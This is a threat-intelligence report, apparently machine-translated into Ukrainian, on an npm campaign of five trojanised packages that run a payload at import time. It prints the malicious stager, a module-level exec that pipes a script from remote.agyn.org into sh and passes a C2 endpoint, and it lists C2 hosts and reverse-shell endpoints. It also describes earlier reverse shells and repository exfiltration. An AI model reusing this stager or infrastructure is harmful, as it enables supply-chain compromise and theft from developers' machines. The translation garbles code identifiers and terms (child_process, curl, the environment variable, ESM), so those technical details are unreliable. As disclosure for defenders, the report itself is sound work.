TL, д-р
Опубліковано один оператор npm п'ять троянських пакетів протягом двох раундів за три дні. Пакети видаються крихітними утилітами для обробки кольорів терміналу, логера та клієнта Postgres. Шкідливий код виконується момент імпорту пакета — немає скрипта встановлення, який би можна було перехопити.
Перший раунд (neon-terminal, neon-postgres, ne-logger) було скасовано публікацію 05.07.2026 о 14:14 UTC. Сімдесят чотири хвилини потому той самий обліковий запис перепублікував того самого трояна під новими іменами (agn-terminal, agn-logger) — і вказав на та сама кінцева точка командування та управління воно використовувалося раніше: tracker.bvgroup.co.
Цей хост C2 — єдиний індикатор, який переживає перейменування, і найшвидший для захисника показник для пошуку. Серйозність: високаЕкосистема: нммПакети другого раунду все ще були дійсними на момент написання.
Атака: як вона працює
Пакети є функціональними приманками. Відкрити agn-термінал і ви знайдете повноцінного, робочого помічника з кольорів ANSI — Коди, підтримуєКолір, розфарбувати, фарбувати — з типами та файлом README. Код утиліти працює. У верхній частині модуля входу, над корисним кодом, прикріплено кілька рядків, які виконуються під час імпорту.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Три речі роблять це ефективним.
- Він спрацьовує під час імпорту, а не під час встановлення. На упаковці заявлено ні попереднє встановлення or після встановлення гачок — звичне місце, куди дивляться сканери та рецензенти. Exec виклик — це код рівня модуля. Він виконується вперше, коли щось робить вимагати(“agn-термінал”) or імпортувати «agn-термінал», на машині розробника або всередині CI. Як запис ESM (src/index.js) та запис CommonJS (cjs/src/index.js) несуть однакове корисне навантаження, тому обидві модульні системи охоплюються.
- Справжнє корисне навантаження знаходиться поза упаковкою. Пакет постачає лише однорядковий стейджер: fetch remote.agyn.org/remote.sh` та перенаправити його до sh`. Виконується все, що оператор надає з цієї URL-адреси під час запиту. Кінцева точка C2 передається завантаженому скрипту через ТОЧКА_ВІДДАЛЕНОГО_ВІДЛІКУВАННЯ змінна середовища, тому скрипт другого етапу телефонує додому tracker.bvgroup.co.
- Пакет-носій розширює радіус вибуху. agn-logger — це друга приманка — «крихітний глобальний логер». Він не має власного корисного навантаження. Його модуль входу виконує одну важливу річ:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
У ньому зазначається agn-термінал як залежність та імпортує її. Встановлення або імпорт логера завантажує та запускає термінальний пакет транзитивно. Проект, який ніколи не називає трояна безпосередньо, все одно може виконати його через логер.
Що тут нового
У першому раунді не використовувався віддалений індексатор. Корисне навантаження постачалося вбудованим і ескалювалося версія за версією — зворотна оболонка bash в одному релізі, net.Socket зворотна оболонка в наступному, a git додати/commit/натиснути робочого каталогу жертви в іншому, і, нарешті, повноцінний агент командування та керування HTTP в неоновий термінал 0.9.0, яка реєструвала хост, опитувала завдання та запускала їх з exec ()та потоково передавав вихідний код у форматі base64 назад. Другий раунд об'єднує все це в один завиток | ш, повністю виключивши другий етап з реєстру. Той самий оператор, тихіший пакет, гнучкіше корисне навантаження — і, що важливо, той самий C2, що й раніше.
Хронологія
| Дата (UTC) | Event |
|---|---|
| 2026-07-03 07:03 | Опубліковано перший раунд: neon-terminal (0.1.0 чиста, потім 0.2.0–0.9.0 шкідлива), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal позначено під час сканування в режимі реального часу |
| 2026-07-04 | Підтверджено шкідливість; кореляція виявляє два споріднені пакети; зафіксовано перші спроби видалення |
| 2026-07-05 14:14 | Перший раунд неопублікований — усі вісім neon-terminal версії плюс брати й сестри видалені |
| 2026-07-05 15:28 | agn-terminal 0.1.0 опублікований |
| 2026-07-05 15:29 | agn-logger 0.1.0 опубліковано — перевізник для нового термінального пакету |
| 2026-07-05 (триває) | Пакети другого раунду доступні на момент написання |
Два раунди відбуваються з різницею в три дні, а проміжок часу між видаленням та перезапуском становив 74 хвилини. Кампанія відкрита: agn-* пакети не були видалені, коли це було написано.
Ознаки компромісу
Шукайте назви пакетів у файлах блокування та деревах залежностей. Шукайте проксі, DNS та EDR журнали для кінцевих точок мережі. Хост C2 tracker.bvgroup.co охоплює обидва раунди та є окремим показником з найвищим значенням.
Пакети
| пакет | версії | Роль | Статус |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | троян (вбудовані корисні навантаження → HTTP C2) | неопублікований |
neon-postgres | 3.5.2 | троян (корисне навантаження в src/errors.js) | неопублікований |
ne-logger | 0.7.0 | перевізник (залежить від neon-terminal) | неопублікований |
agn-terminal | 0.1.0 | троян (curl | sh стейджер) | жити |
agn-logger | 0.1.0 | перевізник (залежить від agn-terminal) | жити |
неоновий термінал Версія 0.1.0 була чистим основним кодом — робочою бібліотекою кольорів без корисного навантаження — опублікованою для встановлення пакета до появи шкідливих версій.
Мережа
| індикатор | Контекст |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, обидва раунди (токен другого раунду) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | навантажувач першого етапу другого раунду |
reverse.bvgroup.co:443 | кінцева точка зворотної оболонки першого раунду (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | зворотна оболонка першого раунду (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | зворотна оболонка першого раунду (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | домени, контрольовані оператором |
Поведінкові
- Модульний рівень дочірній_процес.exec у верхній частині файлу запису пакета утиліт, в обох src/index.js (Європейський стабілізаційний механізм) та cjs/src/index.js (К.С.С.).
- A curl -fsSL … | sh однорядковий з C2, що проходить через ТОЧКА_ВІДДАЛЕНОГО_ВІДЛІКУВАННЯ змінна оточення
- Другий пакет «утиліти», який оголошує перший як залежність та імпортує його без власного корисного навантаження.
- Залишок // неоновий термінал коментар у верхній частині agn-термінал — артефакт копіювання та вставки, що пов’язує ребрендинг з оригіналом.
Хеші файлів (SHA-256, другий раунд)
- agn-термінал src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- agn-термінал cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Атрибуція та спостережувана поведінка
Кожен пакет веде до одного облікового запису npm, віталій-агін, публікація з неперевіреної електронної адреси vitalii@agyn.ioУ власних метаданих реєстру облікового запису перелічено всі три пакети першого раунду, що підтримуються ним. Інфраструктура пов'язує раунди разом: домен agyn.org відповідає видавцеві agyn.io домен електронної пошти та хост C2 tracker.bvgroup.co з'являється в обох неоновий термінал 0.9.0 і agn-термінал 0.1.0 — той самий шлях збирача, використаний дослівно після перейменування.
Ми описуємо, що показують артефакти, і на цьому зупиняємося. Вказана електронна адреса видавця… vitalii@agyn.io; ми не підтвердили право власності на цю адресу та не пов’язуємо обліковий запис з жодною особою чи групою. Повторне використання однієї кінцевої точки C2 у двох сімействах пакетів є сильним сигналом того самого оператора, а не ідентифікатором.
Пакети першого раунду спиралися на суміжність брендів. неон-постгрес був повним клоном широко використовуваної моделі Порсагера postgres.js клієнт, слоган і все інше, з корисним навантаженням, захованим усередині src/errors.js тож звичайний шлях імпорту досяг би його — і неоново- префікс запозичує впізнаваність Neon, безсерверного постачальника Postgres. У другому раунді назви відмовилися від імітації та стали узагальненими (agn-термінал, agn-logger), обмінюючи привабливість бренду на чистішу відмову від обпалених імен.
Вплив, тенденції та рекомендації щодо захисників
- Хто викривається. Будь-хто, хто встановлює та імпортує один із цих пакетів, безпосередньо або через носія, на Unix-подібний хост. Stager використовує витися та sh; використовують снаряди першого раунду бити та /dev/tcpОскільки виконання відбувається під час імпорту, достатньо сервера збірки, який встановлює залежність і запускає будь-який код, що її стосується — жодних кроків після встановлення не потрібно. На робочій станції розробника або середовищі неперевершеної інтеграції завантажений другий етап запускається з привілеями користувача та повним мережевим доступом.
- Чому виконання під час імпорту має значення. Захист ланцюгів поставок зосереджений на скриптах встановлення, і не без підстав — після встановлення це класичний плацдарм npm. Ця кампанія повністю обходить це. Немає жодного гачка встановлення, який можна було б позначити. шкідливий код — це звичайна ініціалізація модуля, яку на перший погляд неможливо відрізнити від пакета, який обчислює таблицю пошуку під час завантаження. Інструменти, які перевіряють лише скрипти в package.json, нічого не бачать.
- Тренд на ребрендинг та повторне використання. 74-хвилинний поворот — ось що сталося. Під час видалення видалено назви, але не оператора, інфраструктуру чи код. Протягом години кампанія знову запрацювала під новими іменами, що вказували на той самий C2. Блокування на основі імен — denylisting neon-terminal — вже було б застарілим. Блокування на основі інфраструктури — denylisting bvgroup.co — почало б другий раунд після прибуття. Для активного оператора, який повторно публікує швидше, ніж реєстри видаляють, надійним індикатором є кінцева точка мережі, а не назва пакета.
Що ж тепер робити
- Виконайте команду Grep для файлів блокування та встановлених дерев для всіх п'яти назв пакетів, зазначених вище. Розглядайте будь-який збіг як скомпрометований хост та змінюйте облікові дані, доступні з нього.
- Блокування та сповіщення про домени bvgroup.co, agyn.org, а також кінцеві точки ngrok у DNS та фільтрації вихідного трафіку. tracker.bvgroup.co є пріоритетом.
- Не покладайтеся лише на сканування інсталяційних перехоплювачів. Додайте виявлення на рівні модуля. дочірній_процес та мережеві виклики в залежностях, а також для завиток … | ш шаблони у вихідному коді пакета.
- Ставтеся до пакета утиліт, який оголошує іншу маловідому утиліту як свою єдину залежність та імпортує її під час завантаження, як до вартого повторного розгляду.
- У CI перевагу надають –Ігнорувати сценарії де це практично, але розумієте, що тут це не допомагає — корисне навантаження виконується під час імпорту, тому елементи керування вихідним кодом під час виконання та перевірка залежностей мають більше значення.
Посилання
- Неоновий безсерверний Postgres — бренд неоновий-* імена запозичують впізнаваність з.
- Порсагер postgres.js — клієнт неон-постгрес клонований.






